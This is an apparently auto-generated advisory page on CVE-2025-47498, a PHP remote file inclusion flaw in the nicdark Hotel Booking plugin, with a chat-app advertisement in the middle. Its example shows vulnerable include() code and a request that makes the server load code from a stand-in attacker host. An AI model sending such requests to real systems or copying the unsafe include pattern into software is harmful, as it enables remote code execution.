Ameeba Exploit Tracker

Tracking CVEs, exploits, and zero-days for defensive cybersecurity research.

Ameeba Blog Search
TRENDING · 1 WEEK
Attack Vector
Vendor
Severity

CVE-2025-47498: PHP Remote File Inclusion Vulnerability in nicdark Hotel Booking System

Ameeba Chat Store screens
Download Ameeba Chat

Overview

This report addresses the critical vulnerability CVE-2025-47498 found in the nicdark Hotel Booking system. This vulnerability, pertaining to the improper control of filename for include/require statement in PHP programs, could potentially allow attackers to execute malicious scripts remotely on the server. Consequently, this issue poses a significant risk to the system’s integrity, potentially leading to full system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47498
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Ameeba Chat Icon Escape the Surveillance Era

Most apps won’t tell you the truth.
They’re part of the problem.

Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.

Ameeba Chat gives you a way out.

  • • No phone number
  • • No email
  • • No personal info
  • • Anonymous aliases
  • • End-to-end encrypted

Chat without a trace.

Product | Affected Versions

nicdark Hotel Booking | All versions through 3.6

How the Exploit Works

The PHP Remote File Inclusion vulnerability allows an attacker to include a remote file, typically through a script on a web server, due to the misuse of require() or include() functions in PHP. This misuse can allow the attacker to run arbitrary PHP code in the server context, potentially leading to severe consequences such as system compromise or data leakage.

Conceptual Example Code

<?php
// vulnerable PHP code
$incfile = $_REQUEST["file"];
include($incfile . ".php");
?>

An attacker could exploit this by sending a request like this:

GET /vulnerable_page.php?file=http://attacker.com/malicious_code HTTP/1.1
Host: target.example.com

This would result in the server downloading and executing the malicious PHP code hosted on attacker.com.

Recommended Mitigation Techniques

It is advised to apply the vendor patch as soon as it becomes available. In the interim, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used to filter out malicious requests targeting this vulnerability. Furthermore, it is good practice to avoid using user input directly in file include operations and instead use a white-list of allowable inputs.

Want to discuss this further? Join the Ameeba Cybersecurity Group Chat.

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
Ameeba Chat